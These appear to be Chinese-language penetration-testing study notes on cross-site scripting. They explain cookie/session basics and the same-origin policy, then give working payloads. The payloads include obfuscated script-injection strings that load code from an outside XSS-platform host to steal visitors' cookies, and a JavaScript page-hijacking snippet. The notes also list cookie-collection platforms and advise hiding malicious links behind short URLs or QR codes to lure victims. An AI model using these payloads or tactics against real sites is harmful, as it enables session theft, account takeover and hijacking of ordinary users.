XSS
反射型、存储型、dom型
注册\留言\评论区
xss漏洞利用
-
窃取管理员的cookie (最常见)
-
网页劫持
-
网页蠕虫、网页挖矿()
xss漏洞允许用户在网页上执行任意的js代码。
cookie
http协议:无状态协议
网站需要区分用户和身份权限的。
cookie-session
服务器 -> 生成一对session和cookie (一串随机值) => 将cookie下发给浏览器 => 浏览器在次访问时,需要携带 cookie
session 会包含用户的权限、用户名
cookie => 是用户的身份凭证。
如果能获取到cookie,则可以直接通过cookie伪造身份,从而访问网站
遵守同源策略
规定不同源网站之间的文档和脚本是如何进行交互
同协议、同端口、同IP/域名
大多数情况不同源
xss窃取 cookie
1.获取cookie
2.将cookie拼接到一个post/get请求当中,发起请求
3.有一个恶意服务器
XSS平台()
https://xss.hk9996.com/index.php
http://www.xss-test.top/index.php
<script src=http://xss.fqgg.net/zo6eQh?1702556836\></script><img src=# id=xssyou style=display:none onerror=eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2Fxss.fqgg.net%2Fzo6eQh%3F%22%2BMath.random%28%29%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));//> # 创建一个script标签,
确定xss漏洞时 在目标网站执行在xss平台的恶意代码 其他用户访问的时候 平台就会显示其他用户的cookie


XSS平台存在安全隐患
网站管理员是否可以查看到用户打到cookie
对一些比较敏感的业务,xss平台可能会导致信息泄露,同时无法解释是谁干的
自己搭一个 自己用
https://github.com/thickforest/xss_platform # 平台源码
https://www.cnblogs.com/Cl0ud/p/12176961.html # 搭建教程
```
实战
反射型的xss
' onfocus=eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2Fxss.fqgg.net%2Fzo6eQh%3F%22%2BMath.random%28%29%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source)) autofocus //
将xss平台中的恶意语句拼接到事件性语句中 浏览器执行后 发起请求
```
将恶意代码拼接网址后发给别人 别人点击就会返回别人在这个网站的cookie
因为太长太明显
- 短链接
- 二维码
存储型
只要能把xss打成功,就完成了,然后把网址发给受害者,让他去访问
style="display: none;" 可以隐藏攻击语句和标签
xss 实现网页劫持
-
删除当前网页中的所有内容
-
创建一个新的iframe(网页内嵌),请求我们指定的网址
(function(){
var body = document.getElementsByTagName('body')[0];
body.parentNode.removeChild(body);
var html = document.getElementsByTagName("html")[0];
body = document.createElement("body");
html.appendChild(body);
var iframe = document.createElement("iframe");
iframe.name = "_test";
var form = document.createElement("form");
//form.action=unescape("{set.target}");
form.action="https://bbs.zkaq.cn"
form.method="get";
form.target = iframe.name;
body.appendChild(form);
body.appendChild(iframe);
iframe.style.cssText = "position:absolute;z-index:100000;width:100%;height:100%;frameborder=no;scrolling:no";
form.submit();
})()

需要收购手工填写 修改bbs 删去如下代码 上面的两个//删去 添加target


然后添加 点击class 右上角的配制 勾上网页劫持 在输入刚才bbs
form.action="https://bbs.zkaq.cn"


然后点击class 右上角的配置代码 复制代码输入到目标网站

然后别人在访问这个网站就会跳转到设置网站
存储型xss 靶场
有些网站后会自动把输入链接前面加上http 这样只能抓包修改数据

类真实的网站
遇到cms、框架类的站点:
-
互联网搜索对应cms、框架的历史漏洞
-
根据功能,分析可能存在的漏洞,然后进行一一验证。